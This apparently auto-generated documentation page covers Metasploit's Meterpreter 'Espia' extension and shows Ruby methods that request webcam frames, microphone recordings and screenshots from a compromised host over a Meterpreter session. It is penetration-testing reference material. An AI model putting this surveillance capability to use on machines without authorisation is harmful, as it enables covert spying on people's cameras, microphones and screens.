class Rex::Post::Meterpreter::Extensions::Espia::Espia

This meterpreter extensions interface that is capable grab webcam frame and recor mic audio

Public Class Methods

new(client) click to toggle source
Calls superclass method Rex::Post::Meterpreter::Extension::new
# File lib/rex/post/meterpreter/extensions/espia/espia.rb, line 19
def initialize(client)
  super(client, 'espia')

  client.register_extension_aliases(
    [
      {
        'name' => 'espia',
        'ext'  => self
      },
    ])
end

Public Instance Methods

espia_audio_get_dev_audio(rsecs) click to toggle source
# File lib/rex/post/meterpreter/extensions/espia/espia.rb, line 38
def espia_audio_get_dev_audio(rsecs)
  request = Packet.create_request('espia_audio_get_dev_audio')
  request.add_tlv(TLV_TYPE_DEV_RECTIME, rsecs)
  response = client.send_request(request)

  return true
end
espia_image_get_dev_screen() click to toggle source
# File lib/rex/post/meterpreter/extensions/espia/espia.rb, line 46
def espia_image_get_dev_screen
  request  = Packet.create_request( 'espia_image_get_dev_screen' )
  response = client.send_request( request )
  if( response.result == 0 )
    return response.get_tlv_value( TLV_TYPE_DEV_SCREEN )
  end
  return nil
end
espia_video_get_dev_image() click to toggle source
# File lib/rex/post/meterpreter/extensions/espia/espia.rb, line 31
def espia_video_get_dev_image()
  request = Packet.create_request('espia_video_get_dev_image')
  response = client.send_request(request)

  return true
end